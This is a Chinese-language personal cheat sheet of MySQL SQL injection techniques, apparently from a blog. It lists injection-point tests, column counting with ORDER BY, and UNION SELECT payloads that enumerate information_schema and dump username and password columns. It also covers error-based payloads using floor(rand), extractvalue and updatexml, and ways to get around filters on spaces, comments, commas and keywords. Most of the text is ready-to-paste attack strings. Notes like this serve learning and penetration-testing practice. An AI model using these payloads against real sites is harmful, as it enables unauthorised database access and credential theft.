-
命令记录
- show databases;显示数据库名
- show tables;显示表名
- desc table; 显示列名及其属性
- --+注释符
- order by 用于对结果集进行排序
- select 用于从表中选取数据
- union select 用于合并两个或多个Select语句的结果集
- concat 返回字符串连接的结果
- concat_ws(separator,str1) 将多个字符串连接成一个字符串,但是可以一次性指定分隔符。
- group_concat() 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] ) 图片.png
- information_schema 数据库,简单来说就是MYSQL数据库的数据库,内容是数据库自身的信息,数据库中有哪些表,哪些字段,哪些视图的信息,可以通过Information_schema的信息查询
- version() 或@@version 版本号
- database() 数据库名字
- user() 数据库的权限用户
- current_user 当前用户名
- session_user() 连接数据库的用户名
- @@hostname 主机名
- @@port 数据库端口
- @@version_compile_os 操作系统(只能查出内核,无法查出操作系统具体版本)
- mid(), str="123456" mid(str,2,1) 结果为2
- substr()
- Left()
- @@datadir 读取数据库路径
- @@basedir MYSQL安装路径
- and可以转为&&,or可以转为||
- note: &&和#在url都有特殊意义,需要编码
- distinct() 去除重复的值
-
空格替换
- 不同的数据库版本,不同的数据库,不同的环境,用其中某一个替换空格有可能成功。有可能不成功。
- TAB 09 horizontal TAB-----------------url编码后就是%09
- LF 0A newline-----------------------url编码后----%0A
- FF 0C new page----------------------url 编码后-----%0C
- CR 0D carriage return-----------------url 编码后------%0D
- VT 0B vertical TAB (MySQL and Microsoft SQL Server only)------%0B
- - A0 - (MySQL only)-----------%A0
- $id= preg_replace('/[ +]/',"", $id);//匹配 一个或更多的空格
- $id= preg_replace('/[\s]/',"", $id);//匹配任意的空白字符(\s)
-
测试命令记录
- and 1=1和id=1 and 1=2 不一样则成功构造了注入点
- POST型的用or 1=1 #
- id=1 order by number ,输入不同的number,测出改注入点的字段数,大于number报错,小于等于number正常。
- order by 被过滤可以用,orDer by ,ord<>er by, ordorderer by.
- POST型的要id=1' and 1=2 union select ....
-
错误页面NULL+注释符被过滤测试方式
- 1(闭合条件)and(闭合条件)1 ———— 改变前面的1,也就是2(闭合条件)and(闭合条件)1,返回页面改变则闭合条件正确,这里不能用or,因为or两侧其一为真,结果为真。
-
注释符过滤替代
- 构造一个不需要注释符号的方式 1(闭合条件)and(闭合条件)1 和 id=0' union select 1,2,3 and '1
-
命令构造记录
-
基本构造
- 查数据库名 select group_concat(schema_name) from information_schema.schemata或select group_concat(schema_name) from information_schema.schema --+
- 查数据库 select table_schema from information_schema.tables group by table_schema limit 0,1 --+
- 查表名 select table_name from information_schema.tables where table_schema='数据库名'或database() --+
- 查字段名 select column_name from information_schema.columns where table_name='当前数据库下的表名'或where table_name=database() --+
- 查看字段的内容 select 字段名 from 表名。
-
union select 1,2,3,
- select后面跟字段数number一样多的字符,然后让union前面为flase,即id=0或-1等其他方式,然后后面的union select将被显示,用来查询信息。note:不要在1处输入,1处经常被作为id序号,而不是信息,可能不会显示到网页中。
- union select 1,group_concat(schema_name),3 from information_schema.schemata--+ 查看数据库
- union select 1, table_name , version() ...Number from information_schema.tables where table_schema='数据库名' limit 0,1 --+ 查看表1
- union select 1, table_name , version() ...Number from information_schema.tables where table_schema='数据库名' limit 1,1 --+ 查看表2
- union select 1,group_concat(table_name),version()...Number from information_schema.tables where table_schema='数据库名' --+ 查看所有的表
- union select 1,group_concat(column_name),version()...Number from information_schema.columns where table_name='表名' --+ 查看所有的行
- union select 1,group_concat(username,password),version()...Number from 表名--+ 字段中的内容
- POST 1' and 1=2 union select 1,2,3 #
-
截断字符测试名字
- MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’
- mid,substr,left 三个函数有这个功能
-
报错注入
- 有概率,多试几次次啊能成功。详见https://www.jianshu.com/p/ce167362c10f
- id=1' and (select 1 from ( select count(*),concat('!!',(select table_schema from information_schema.tables group by table_schema limit 0,1),'!!',floor(rand(0)*2))DN from information_schema.tables group by DN) a ) --+
- id=1' and (select 1 from ( select count(*),concat('!!',(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),'!!',floor(rand(0)*2))DN from information_schema.tables group by DN) a ) --+
- id=1' and (select 1 from ( select count(*),concat('!!',(select column_name from information_schema.columns where table_name='表名' limit 0,1),'!!',floor(rand(0)*2))DN from information_schema.tables group by DN) a ) --+
- id=1' and (select 1 from ( select count(*),concat('!!',(select 列名 from 数据库.表名 limit 0,1),'!!',floor(rand(0)*2))DN from information_schema.tables group by DN) a ) --+
- POST型示例 1' and (select 1 from (select count(*),concat('::',(select schema_name from information_schema.schemata limit 0,1),'::',floor(rand(0)*2))x from information_schema.tables group by x) a ) # 1'后面的and也行or也行,不明原因。
-
extractvalue()和updatexml()的报错注入
- id=1' and extractvalue(1,concat((select version() )))
- extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用函数截取,一次查看32位 ,mid(select database(),1,32)
- id=1‘ and updatexml('anything',concat('~',(select version())),'anything')) 也是32位。
-
以可运行database()情况下绕过 ' " 等过滤
- 要执行的语句where = (能当作文本的语句,而不是字符串,因为字符串要加'和")
-
逗号过滤绕过
- select 1,2 就类似于 select * from (select 1)a join (select 2)b
-
基本构造
网友评论